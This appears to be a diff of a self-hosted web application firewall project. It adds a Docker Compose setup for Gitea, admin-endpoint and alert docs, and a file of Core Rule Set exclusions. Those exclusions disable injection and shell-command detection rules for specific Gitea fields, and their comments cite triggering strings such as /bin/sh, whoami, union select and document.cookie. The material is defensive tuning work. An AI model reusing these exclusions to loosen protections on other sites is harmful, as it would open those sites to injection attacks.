||||
# off an upload long before rproxy's limit of 30 minutes.
|
||||
- --entrypoints.websecure.transport.respondingTimeouts.readTimeout=30m
|
||||
ports:
|
||||
- 80:80
|
||||
- 443:443
|
||||
volumes:
|
||||
- /var/run/docker.sock:/var/run/docker.sock:ro
|
||||
networks:
|
||||
shared:
|
||||
# Containers on the shared network find traefik under the
|
||||
# site's name, and so reach it from their own address.
|
||||
aliases:
|
||||
- git.example.org
|
||||
restart: unless-stopped
|
||||
|
||||
gitea:
|
||||
# gitea 1.27.3, 2026-08-29
|
||||
image: gitea/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef
|
||||
environment:
|
||||
GITEA__server__ROOT_URL: https://git.example.org/
|
||||
# Gitea starts at its defaults, with SQLite, instead of showing its
|
||||
# install page to whoever opens it first.
|
||||
GITEA__security__INSTALL_LOCK: "true"
|
||||
GITEA__security__SECRET_KEY: ${GITEA_SECRET_KEY:?set GITEA_SECRET_KEY, see docs/gitea.md}
|
||||
# Accounts are made with `gitea admin user create`.
|
||||
GITEA__service__DISABLE_REGISTRATION: "true"
|
||||
# rproxy's addresses. Gitea then takes each visitor's address from
|
||||
# the X-Real-Ip header traefik sets and rproxy passes on.
|
||||
GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES: 10.99.0.2,fd10:99::2
|
||||
volumes:
|
||||
- gitea-data:/data
|
||||
networks:
|
||||
- shared
|
||||
restart: unless-stopped
|
||||
|
||||
rproxy:
|
||||
image: ${SMALLWEBWAF_IMAGE:?set SMALLWEBWAF_IMAGE to the smallwebwaf image}
|
||||
environment:
|
||||
SWRP_WAF_BACKEND: http://servewaf:8080
|
||||
SWRP_UPSTREAM_URL: http://gitea:3000
|
||||
# Pushes, LFS objects, packages and release attachments of up to
|
||||
# 2 GiB, sent in up to 30 minutes.
|
||||
SWRP_MAX_REQUEST_SIZE: 2G
|
||||
SWRP_MAX_REQUEST_TIME_MS: "1800000"
|
||||
# 15 minutes for a clone or a download, half the default.
|
||||
SWRP_MAX_RESPONSE_TIME_MS: "900000"
|
||||
labels:
|
||||
traefik.enable: "true"
|
||||
traefik.http.routers.gitea.rule: Host(`git.example.org`)
|
||||
traefik.http.routers.gitea.entrypoints: websecure
|
||||
traefik.http.services.gitea.loadbalancer.server.port: "8080"
|
||||
networks:
|
||||
shared:
|
||||
ipv4_address: 10.99.0.2
|
||||
ipv6_address: fd10:99::2
|
||||
logging: *logging
|
||||
restart: unless-stopped
|
||||
|
||||
servewaf:
|
||||
image: ${SMALLWEBWAF_IMAGE:?set SMALLWEBWAF_IMAGE to the smallwebwaf image}
|
||||
environment:
|
||||
SMALLWEBWAF_COMMAND: servewaf
|
||||
# The containers on the shared network skip the checks. Add the
|
||||
# address of an automation fleet on another host here too; without
|
||||
# that, it is counted like any client.
|
||||
SWWAF_ALLOW_NETS: 10.99.0.128/25,fd10:99:0:0:8000::/65
|
||||
# The Core Rule Set's exclusions for Gitea's searches, file names
|
||||
# and branch names.
|
||||
SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE: /etc/smallwebwaf/crs-exclusions.conf
|
||||
volumes:
|
||||
- servewaf-state:/var/lib/smallwebwaf
|
||||
- ./crs-exclusions.conf:/etc/smallwebwaf/crs-exclusions.conf:ro
|
||||
networks:
|
||||
- shared
|
||||
logging: *logging
|
||||
restart: unless-stopped
|
||||
|
||||
networks:
|
||||
# The network traefik and Gitea share. Its containers get addresses in the
|
||||
# upper half of each subnet, which servewaf lets skip the checks. Each
|
||||
# subnet's gateway, the host's own address on it, stays out of that half:
|
||||
# requests docker passes on from a published port can come from it.
|
||||
shared:
|
||||
enable_ipv6: true
|
||||
ipam:
|
||||
config:
|
||||
- subnet: 10.99.0.0/24
|
||||
ip_range: 10.99.0.128/25
|
||||
gateway: 10.99.0.1
|
||||
- subnet: fd10:99::/64
|
||||
ip_range: fd10:99:0:0:8000::/65
|
||||
gateway: fd10:99::1
|
||||
|
||||
volumes:
|
||||
gitea-data:
|
||||
servewaf-state:
|
||||
@@ -0,0 +1,150 @@
|
||||
# The Core Rule Set's exclusions for Gitea, which servewaf loads from
|
||||
# SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE. servewaf loads this file before the Core
|
||||
# Rule Set's rules, so it holds only exclusions made while a request is checked:
|
||||
# SecAction and SecRule lines with ctl:ruleRemoveTargetById or
|
||||
# ctl:ruleRemoveById. Each switches one rule off for the Gitea fields or paths
|
||||
# where it refused ordinary Gitea requests. A SecAction applies on every path, a
|
||||
# SecRule on the paths it matches. Gitea sends these in the query string:
|
||||
# - q: the text of every search;
|
||||
# - file, path, template, body and redirect_to: a file name, alone or in
|
||||
# JSON or a link;
|
||||
# - name, tag, rule_name and refSubUrl: a branch or tag name.
|
||||
# docs/gitea.md says how to add an exclusion.
|
||||
|
||||
# Searches.
|
||||
# 930110: a search for ../
|
||||
SecAction "id:10001,phase:1,pass,nolog,ctl:ruleRemoveTargetById=930110;ARGS:q"
|
||||
# 931100: a search for http://127.0.0.1:8080
|
||||
SecAction "id:10002,phase:1,pass,nolog,ctl:ruleRemoveTargetById=931100;ARGS:q"
|
||||
# 932140: a search for if (a == b) {
|
||||
SecAction "id:10003,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932140;ARGS:q"
|
||||
# 932235: a search for `make check`
|
||||
SecAction "id:10004,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932235;ARGS:q"
|
||||
# 932250: a search for ls -la
|
||||
SecAction "id:10005,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932250;ARGS:q"
|
||||
# 932380: a search for `whoami`
|
||||
SecAction "id:10006,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932380;ARGS:q"
|
||||
# 933100: a search for <?php echo
|
||||
SecAction "id:10007,phase:1,pass,nolog,ctl:ruleRemoveTargetById=933100;ARGS:q"
|
||||
# 933130: a search for $_GET[
|
||||
SecAction "id:10008,phase:1,pass,nolog,ctl:ruleRemoveTargetById=933130;ARGS:q"
|
||||
# 933135: a search for ${VAR}
|
||||
SecAction "id:10009,phase:1,pass,nolog,ctl:ruleRemoveTargetById=933135;ARGS:q"
|
||||
# 934110: a search for http://127.0.0.1:8080
|
||||
SecAction "id:10010,phase:1,pass,nolog,ctl:ruleRemoveTargetById=934110;ARGS:q"
|
||||
# 941100: a search for <script>
|
||||
SecAction "id:10011,phase:1,pass,nolog,ctl:ruleRemoveTargetById=941100;ARGS:q"
|
||||
# 941110: a search for <script>, or a page opened from its results
|
||||
SecAction "id:10012,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=941110;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer"
|
||||
# 941120: a page opened from the results of a search for onClick={
|
||||
SecAction "id:10013,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer"
|
||||
# 941160: a search for <img src=, or a page opened from its results
|
||||
SecAction "id:10014,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer"
|
||||
# 941390: a search for fetch(
|
||||
SecAction "id:10015,phase:1,pass,nolog,ctl:ruleRemoveTargetById=941390;ARGS:q"
|
||||
# 942100: a search for SELECT * FROM users WHERE, or a page opened from the
|
||||
# results of a search for LIKE '%foo%'
|
||||
SecAction "id:10016,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer"
|
||||
# 942190: a search for union select
|
||||
SecAction "id:10017,phase:1,pass,nolog,ctl:ruleRemoveTargetById=942190;ARGS:q"
|
||||
# 942230: a search for if (a == b) {
|
||||
SecAction "id:10018,phase:1,pass,nolog,ctl:ruleRemoveTargetById=942230;ARGS:q"
|
||||
# 944100: a search for java.lang.Runtime, or a page opened from its results
|
||||
SecAction "id:10019,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=944100;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
|
||||
|
||||
# Searches, and file, branch and tag names.
|
||||
# 930120: a search for package.json, or the commit graph of .gitignore
|
||||
SecAction "id:10020,phase:1,pass,nolog,ctl:ruleRemoveTargetById=930120;\
|
||||
ARGS:/^(?:q|file|template|body|refsuburl|name|tag|rule_name)$/"
|
||||
# 932160: a search for /bin/sh, or the API's contents of bin/docker-entrypoint
|
||||
SecAction "id:10021,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;\
|
||||
ARGS:/^(?:q|file|template|body|refsuburl|name|tag|rule_name)$/"
|
||||
# 932260: a search for python3, or deleting the branch docker-build
|
||||
SecAction "id:10022,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;\
|
||||
ARGS:/^(?:q|file|template|body|refsuburl|name|tag|rule_name)$/"
|
||||
|
||||
# Searches, and file names in the query string.
|
||||
# 932120: a search for Invoke-WebRequest, or the commits of install-script.sh
|
||||
SecAction "id:10023,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932120;\
|
||||
ARGS:/^(?:q|file|path|template|body|redirect_to)$/"
|
||||
# 932130: a search for $(pwd), or an issue opened from the template [draft].md
|
||||
SecAction "id:10024,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932130;\
|
||||
ARGS:/^(?:q|file|path|template|body|redirect_to)$/"
|
||||
# 934100: a search for process.env, or the commits of process.env.d.ts
|
||||
SecAction "id:10025,phase:1,pass,nolog,ctl:ruleRemoveTargetById=934100;\
|
||||
ARGS:/^(?:q|file|path|template|body|redirect_to)$/"
|
||||
# 934130: a search for __proto__, or the commits of __proto__.json
|
||||
SecAction "id:10026,phase:1,pass,nolog,ctl:ruleRemoveTargetById=934130;\
|
||||
ARGS:/^(?:q|file|path|template|body|redirect_to)$/"
|
||||
# 941130: the commits of index.xhtml
|
||||
SecAction "id:10027,phase:1,pass,nolog,ctl:ruleRemoveTargetById=941130;\
|
||||
ARGS:/^(?:file|path|template|body|redirect_to)$/"
|
||||
# 941180: a search for document.cookie, or the commits of document.write.js
|
||||
SecAction "id:10028,phase:1,pass,nolog,ctl:ruleRemoveTargetById=941180;\
|
||||
ARGS:/^(?:q|file|path|template|body|redirect_to)$/"
|
||||
# 942140: a search for information_schema, or the commits of
|
||||
# information_schema.sql
|
||||
SecAction "id:10029,phase:1,pass,nolog,ctl:ruleRemoveTargetById=942140;\
|
||||
ARGS:/^(?:q|file|path|template|body|redirect_to)$/"
|
||||
# 944110: a search for java.lang.Runtime, or the commits of Runtime.java
|
||||
SecAction "id:10030,phase:1,pass,nolog,ctl:ruleRemoveTargetById=944110;\
|
||||
ARGS:/^(?:q|file|path|template|body|redirect_to)$/"
|
||||
# 944130: a search for java.lang.Runtime, the commits of java.lang.String.md,
|
||||
# or any page opened from that file's page, which names it in the Referer
|
||||
SecAction "id:10031,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=944130;\
|
||||
ARGS:/^(?:q|file|path|template|body|redirect_to)$/,\
|
||||
ctl:ruleRemoveTargetById=944130;REQUEST_HEADERS:Referer"
|
||||
|
||||
# File names in the path of a file's page, raw file, blame, history and edit
|
||||
# page, and of the API's calls for its contents.
|
||||
# 920500: the page of notes.txt~
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/(?:src|raw|media|blame|commits|_edit|_delete|contents)/" \
|
||||
"id:10032,phase:1,pass,nolog,ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME"
|
||||
# 934100: the page of process.env.d.ts
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/(?:src|raw|media|blame|commits|_edit|_delete|contents)/" \
|
||||
"id:10033,phase:1,pass,nolog,ctl:ruleRemoveTargetById=934100;REQUEST_FILENAME"
|
||||
# 941130: the page of docs/a b.xhtml
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/(?:src|raw|media|blame|commits|_edit|_delete|contents)/" \
|
||||
"id:10034,phase:1,pass,nolog,ctl:ruleRemoveTargetById=941130;REQUEST_FILENAME"
|
||||
# 944130: the page of java.lang.String.md
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/(?:src|raw|media|blame|commits|_edit|_delete|contents)/" \
|
||||
"id:10035,phase:1,pass,nolog,ctl:ruleRemoveTargetById=944130;REQUEST_FILENAME"
|
||||
|
||||
# The file name, in name, of an attachment uploaded through the API to a
|
||||
# release, an issue or a comment.
|
||||
# 932120: the attachment install-script.sh
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
|
||||
"id:10036,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932120;ARGS:name"
|
||||
# 934100: the attachment process.env.d.ts
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
|
||||
"id:10037,phase:1,pass,nolog,ctl:ruleRemoveTargetById=934100;ARGS:name"
|
||||
# 934130: the attachment __proto__.json
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
|
||||
"id:10038,phase:1,pass,nolog,ctl:ruleRemoveTargetById=934130;ARGS:name"
|
||||
# 941130: the attachment index.xhtml
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
|
||||
"id:10039,phase:1,pass,nolog,ctl:ruleRemoveTargetById=941130;ARGS:name"
|
||||
# 941180: the attachment document.write.js
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
|
||||
"id:10040,phase:1,pass,nolog,ctl:ruleRemoveTargetById=941180;ARGS:name"
|
||||
# 942140: the attachment information_schema.sql
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
|
||||
"id:10041,phase:1,pass,nolog,ctl:ruleRemoveTargetById=942140;ARGS:name"
|
||||
# 944130: the attachment java.lang.String.md
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
|
||||
"id:10042,phase:1,pass,nolog,ctl:ruleRemoveTargetById=944130;ARGS:name"
|
||||
|
||||
# The header Content-Range of an artifact upload.
|
||||
# 920450: an artifact upload from actions/upload-artifact@v3
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
|
||||
"id:10043,phase:1,pass,nolog,ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
||||
+26
-26
@@ -1,60 +1,60 @@
|
||||
# Admin endpoints
|
||||
|
||||
The endpoints under `/_sww/`, what each takes and what each answers.
|
||||
`sww discriminator` answers them at its own address, on the private network.
|
||||
The endpoints under `/_smallwebwaf/`, what each takes and what each answers.
|
||||
`smallwebwaf servewaf` answers them at its own address, on the private network.
|
||||
"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
|
||||
|
||||
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
|
||||
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
|
||||
- `GET /_smallwebwaf/healthz`: `200` and `ok`, to anyone.
|
||||
- `GET /_smallwebwaf/metrics`: the metrics, for `SWWAF_METRICS_TOKEN` (see
|
||||
[`metrics.md`](metrics.md)).
|
||||
- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
|
||||
Needs `SWW_ADMIN_TOKEN`, as do the three below.
|
||||
- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
|
||||
`duration` and, if you like, `reason`. `netblock` is a netblock such as
|
||||
`203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
|
||||
(`SWW_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
|
||||
- `GET /_smallwebwaf/bans`: every ban held, under `bans`, each as `bans.json`
|
||||
lists it. Needs `SWWAF_ADMIN_TOKEN`, as do the three below.
|
||||
- `POST /_smallwebwaf/bans`: bans a netblock. The body is a JSON object of
|
||||
`netblock`, `duration` and, if you like, `reason`. `netblock` is a netblock
|
||||
such as `203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
|
||||
(`SWWAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
|
||||
as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
|
||||
wrong:
|
||||
- one that is not such an object, or has another field;
|
||||
- one longer than 4 KiB;
|
||||
- one that names an IPv4-mapped netblock, or an address with a zone.
|
||||
- `DELETE /_sww/bans/<client>`: lifts every active ban covering the address
|
||||
`<client>`. It answers `404` when none is active.
|
||||
- `GET /_sww/clients/<ip>`: what `discriminator` knows of the client. Under
|
||||
- `DELETE /_smallwebwaf/bans/<client>`: lifts every active ban covering the
|
||||
address `<client>`. It answers `404` when none is active.
|
||||
- `GET /_smallwebwaf/clients/<ip>`: what `servewaf` knows of the client. Under
|
||||
`client`, its counters and history as `clients.json` holds them, or `null`
|
||||
when `clients.json` does not hold it. Under `bans`, every ban covering the
|
||||
address, with its notes.
|
||||
- `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers
|
||||
`204`, or `400` to a body that is no report (see "The report" in
|
||||
- `POST /_smallwebwaf/report`: takes `rproxy`'s report, without a token. It
|
||||
answers `204`, or `400` to a body that is no report (see "The report" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
|
||||
No check runs on these requests. A missing or wrong token is answered `401`. An
|
||||
endpoint whose token is unset answers `404`, as does any other path.
|
||||
|
||||
`sww rproxy` answers only the health check of these, at its own address. It asks
|
||||
`discriminator` about any other request under `/_sww/`. One that passes the
|
||||
checks is answered `404`, so that the app never sees that prefix (see "`rproxy`"
|
||||
in [`SPEC.md`](../SPEC.md)).
|
||||
`smallwebwaf rproxy` answers only the health check of these, at its own address.
|
||||
It asks `servewaf` about any other request under `/_smallwebwaf/`. One that
|
||||
passes the checks is answered `404`, so that the app never sees that prefix (see
|
||||
"`rproxy`" in [`SPEC.md`](../SPEC.md)).
|
||||
|
||||
## Examples
|
||||
|
||||
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator` reached
|
||||
as `discriminator:8080` on its network:
|
||||
With `SWWAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `servewaf` reached as
|
||||
`servewaf:8080` on its network:
|
||||
|
||||
```sh
|
||||
# Every ban.
|
||||
curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/bans
|
||||
curl -H "Authorization: Bearer $TOKEN" http://servewaf:8080/_smallwebwaf/bans
|
||||
|
||||
# Ban 203.0.113.0/24 for seven days.
|
||||
curl -H "Authorization: Bearer $TOKEN" \
|
||||
--json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
|
||||
http://discriminator:8080/_sww/bans
|
||||
http://servewaf:8080/_smallwebwaf/bans
|
||||
|
||||
# Lift the bans on 203.0.113.9.
|
||||
curl -H "Authorization: Bearer $TOKEN" -X DELETE \
|
||||
http://discriminator:8080/_sww/bans/203.0.113.9
|
||||
http://servewaf:8080/_smallwebwaf/bans/203.0.113.9
|
||||
|
||||
# What discriminator knows of 203.0.113.9.
|
||||
# What servewaf knows of 203.0.113.9.
|
||||
curl -H "Authorization: Bearer $TOKEN" \
|
||||
http://discriminator:8080/_sww/clients/203.0.113.9
|
||||
http://servewaf:8080/_smallwebwaf/clients/203.0.113.9
|
||||
```
|
||||
+14
-14
@@ -6,12 +6,12 @@ back or dropped.
|
||||
|
||||
## Events
|
||||
|
||||
- `ban`: a ban `discriminator` made.
|
||||
- `ban`: a ban `servewaf` made.
|
||||
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
|
||||
a request.
|
||||
- `core_rule_set_match`: the Core Rule Set scored a request at or over the
|
||||
threshold. The request was refused unless the alert's `detail` gives `mode`:
|
||||
`detect` or `observe`.
|
||||
- `waf_block`: the Core Rule Set scored a request at or over the threshold. The
|
||||
request was refused unless the alert's `detail` gives `mode`: `detect` or
|
||||
`observe`.
|
||||
- `anomaly`: a count over an anomaly threshold.
|
||||
- `reputation_hit`: a request from a client on a blocklist, the CrowdSec
|
||||
decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit.
|
||||
@@ -34,7 +34,7 @@ on one line:
|
||||
|
||||
```json
|
||||
{
|
||||
"instance": "fsn1/discriminator",
|
||||
"instance": "fsn1/servewaf",
|
||||
"time": "2026-10-06T12:00:50.123461Z",
|
||||
"event": "ban",
|
||||
"host": "app.example",
|
||||
@@ -77,11 +77,11 @@ on one line:
|
||||
}
|
||||
```
|
||||
|
||||
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
|
||||
- `instance`: `SWWAF_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
|
||||
one of the events above.
|
||||
- `host`: the site of the request that raised the alert, since one
|
||||
`discriminator` serves many sites. It is left out of `source_failure`,
|
||||
`file_error` and `summary`.
|
||||
- `host`: the site of the request that raised the alert, since one `servewaf`
|
||||
serves many sites. It is left out of `source_failure`, `file_error` and
|
||||
`summary`.
|
||||
- `client`: the address whose request raised the alert. Empty for
|
||||
`source_failure`, `file_error` and `summary`.
|
||||
- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
|
||||
@@ -111,8 +111,8 @@ on one line:
|
||||
## Slack and ntfy
|
||||
|
||||
Slack and ntfy get a message with a title and a text. The title is the instance
|
||||
and the event, such as `fsn1/discriminator: ban`. The text is the `reason`, then
|
||||
one line for each of these that the alert has:
|
||||
and the event, such as `fsn1/servewaf: ban`. The text is the `reason`, then one
|
||||
line for each of these that the alert has:
|
||||
|
||||
- the host, the client, the netblock and the country;
|
||||
- the file, the source, the error and the mode from `detail`;
|
||||
@@ -122,15 +122,15 @@ Slack gets the title in bold and the text below it, with `&`, `<` and `>`
|
||||
escaped. ntfy gets the text as the message, with these headers:
|
||||
|
||||
- `Title`: the title;
|
||||
- `Authorization`: the token, as `Bearer <token>`, while `SWW_ALERT_NTFY_TOKEN`
|
||||
is set;
|
||||
- `Authorization`: the token, as `Bearer <token>`, while
|
||||
`SWWAF_ALERT_NTFY_TOKEN` is set;
|
||||
- `Priority` and `Tags`: by event, as listed below.
|
||||
|
||||
The priority and tag by event:
|
||||
|
||||
- `ban`: priority `default`, tag `no_entry`.
|
||||
- `permanent_ban`: priority `high`, tag `no_entry`.
|
||||
- `core_rule_set_match`: priority `default`, tag `shield`.
|
||||
- `waf_block`: priority `default`, tag `shield`.
|
||||
- `anomaly`: priority `high`, tag `chart_with_upwards_trend`.
|
||||
- `reputation_hit`: priority `low`, tag `label`.
|
||||
- `source_failure` and `file_error`: priority `high`, tag `warning`.
|
||||
|
||||
+206
@@ -0,0 +1,206 @@
|
||||
# smallwebwaf in front of gitea
|
||||
|
||||
`deploy/gitea/compose.yaml` runs gitea behind traefik, with `rproxy` and
|
||||
`servewaf` in front of it. This document says what that setup sets and why, and
|
||||
what the defaults would do without it. [`SPEC.md`](../SPEC.md) says how
|
||||
`smallwebwaf` behaves.
|
||||
|
||||
## The setup
|
||||
|
||||
Four containers share one Docker network, the shared network:
|
||||
|
||||
- traefik, which routes the site's HTTPS requests to `rproxy`, and redirects
|
||||
plain HTTP to HTTPS;
|
||||
- `rproxy`, in front of gitea;
|
||||
- gitea 1.27.3, as its image comes;
|
||||
- `servewaf`, with a volume for its state files, and with
|
||||
`deploy/gitea/crs-exclusions.conf` mounted read-only.
|
||||
|
||||
To start it:
|
||||
|
||||
1. In `deploy/gitea/compose.yaml`, replace `git.example.org` with the site's
|
||||
host name.
|
||||
2. Replace each `10.99.0` with the first three numbers of a `/24` subnet that no
|
||||
other network on the host uses. The `/24` must lie inside `10.0.0.0/8`,
|
||||
`172.16.0.0/12` or `192.168.0.0/16`, because `rproxy` believes
|
||||
`X-Forwarded-For` only from those by default. Replace each `fd10:99` with the
|
||||
first two hextets of an unused `/64` subnet whose third and fourth hextets
|
||||
are 0, as in `fd10:99::/64`.
|
||||
3. Set `SMALLWEBWAF_IMAGE` to the `smallwebwaf` image, named by digest.
|
||||
4. Set `GITEA_SECRET_KEY` to the output of
|
||||
`docker run --rm <gitea's image> gitea generate secret SECRET_KEY`, with
|
||||
gitea's image as `deploy/gitea/compose.yaml` names it. Do this once per
|
||||
install, and keep the key.
|
||||
5. Run `docker compose up --detach` in `deploy/gitea`, with
|
||||
`crs-exclusions.conf` beside `compose.yaml`.
|
||||
6. Make gitea's first user with `gitea admin user create`, in gitea's container,
|
||||
as the user `git`.
|
||||
|
||||
Sign-up is off: accounts are made with `gitea admin user create`. gitea starts
|
||||
at its defaults, with SQLite. traefik answers with a certificate it made itself
|
||||
until you add a certificate resolver, as for your other sites. SSH to gitea does
|
||||
not pass through `smallwebwaf`; publish gitea's SSH port yourself if you use it.
|
||||
|
||||
`make gitea-setup` checks the setup. It builds the image, brings the setup up
|
||||
under a name of its own, and checks:
|
||||
|
||||
- that a page load, a push and a clone sent through traefik pass through
|
||||
`rproxy`, and that `servewaf` checks them;
|
||||
- that gitea logs the visitor's address, not `rproxy`'s;
|
||||
- that a request from a container on the shared network skips the checks;
|
||||
- that the Core Rule Set refuses none of the ordinary gitea requests in
|
||||
`internal/waf/testdata/gitea-requests.txt`, sent by a signed-in user;
|
||||
- that it refuses none of the API calls with JSON bodies;
|
||||
- that it refuses no fetch;
|
||||
- that it refuses SQL injection, path traversal and script injection in a query
|
||||
string;
|
||||
- that with `servewaf` stopped, gitea still answers through `rproxy`.
|
||||
|
||||
## Uploads and downloads
|
||||
|
||||
An upload is a request:
|
||||
|
||||
- a git push;
|
||||
- an LFS object;
|
||||
- a container image layer;
|
||||
- a package file;
|
||||
- a release attachment.
|
||||
|
||||
The setup lets an upload of up to 2 GiB, sent in up to 30 minutes, through:
|
||||
|
||||
- `SWRP_MAX_REQUEST_SIZE` is `2G`. At the default, an upload over 100 MiB is cut
|
||||
off.
|
||||
- `SWRP_MAX_REQUEST_TIME_MS` is `1800000`, 30 minutes. At the default, an upload
|
||||
that takes over 60 seconds is cut off.
|
||||
- traefik's `readTimeout` is 30 minutes. traefik's own default of 60 seconds for
|
||||
a whole request would cut off an upload first.
|
||||
|
||||
A clone or a download is a response:
|
||||
|
||||
- `SWRP_MAX_RESPONSE_TIME_MS` is `900000`, 15 minutes, half the default. A clone
|
||||
or download that takes longer is cut off.
|
||||
- `SWRP_MAX_RESPONSE_SIZE` stays at its default, 1 GiB. A repository whose clone
|
||||
is larger needs it raised.
|
||||
|
||||
The byte limits stay at their defaults: no minute limit, 50 GiB an hour and 100
|
||||
GiB a day.
|
||||
|
||||
## The checks
|
||||
|
||||
The Core Rule Set runs in `block` mode, the default, with gitea's exclusions
|
||||
(see "The Core Rule Set's exclusions" below).
|
||||
|
||||
Every other check stays at its default. A client may make 120 requests a minute,
|
||||
1,500 an hour and 6,000 a day. Archive downloads and blame and history pages are
|
||||
what scrapers hammer, and these limits do most of the work there.
|
||||
|
||||
## The shared network
|
||||
|
||||
Containers on the shared network skip `servewaf`'s checks:
|
||||
|
||||
- The shared network's subnets are `10.99.0.0/24` and `fd10:99::/64`. Docker
|
||||
gives its containers addresses in the upper half of each, `10.99.0.128/25` and
|
||||
`fd10:99:0:0:8000::/65`, which `SWWAF_ALLOW_NETS` names.
|
||||
- traefik is known on the shared network by the site's host name. So a container
|
||||
there that asks for the site reaches traefik from its own address. An
|
||||
automation fleet in such a container skips the checks.
|
||||
- Each subnet's gateway, `10.99.0.1` and `fd10:99::1`, is the host's own address
|
||||
on it. Requests docker passes on from a published port can come from the
|
||||
gateway, so the gateways are left out of `SWWAF_ALLOW_NETS`. The network has
|
||||
IPv6, so a visitor over IPv6 reaches traefik from its own address, and
|
||||
`servewaf` checks it as itself.
|
||||
- A container on the shared network that asks for the site at the host's public
|
||||
address arrives from the gateway. It is checked like any visitor.
|
||||
- A fleet on another host can have its address added to `SWWAF_ALLOW_NETS`.
|
||||
Without that, it is counted like any client.
|
||||
- traefik replaces the `X-Forwarded-For` a visitor sends, by default. Keep it
|
||||
so: otherwise a visitor could name an address on the shared network, and skip
|
||||
the checks.
|
||||
- Anything on the shared network can reach gitea and `servewaf` around `rproxy`.
|
||||
Put only containers you trust on it.
|
||||
|
||||
## gitea's settings
|
||||
|
||||
- `REVERSE_PROXY_TRUSTED_PROXIES` names `rproxy`'s fixed addresses, `10.99.0.2`
|
||||
and `fd10:99::2`. gitea then takes each visitor's address from the `X-Real-Ip`
|
||||
header, which traefik sets and `rproxy` passes on. Without it, gitea logs
|
||||
every visitor as `rproxy`.
|
||||
- `INSTALL_LOCK` is `true`, as "The setup" above says.
|
||||
|
||||
## Methods
|
||||
|
||||
`rproxy` passes on only these methods: `GET`, `HEAD`, `POST`, `OPTIONS`, `PUT`,
|
||||
`DELETE`, `PATCH` and `QUERY`. gitea 1.27.3 needs no other. Its routes use:
|
||||
|
||||
- pages and the API: `GET`, `HEAD`, `POST`, `PUT`, `PATCH` and `DELETE`;
|
||||
- git's push, clone and fetch over HTTP: `GET`, `POST` and `OPTIONS`;
|
||||
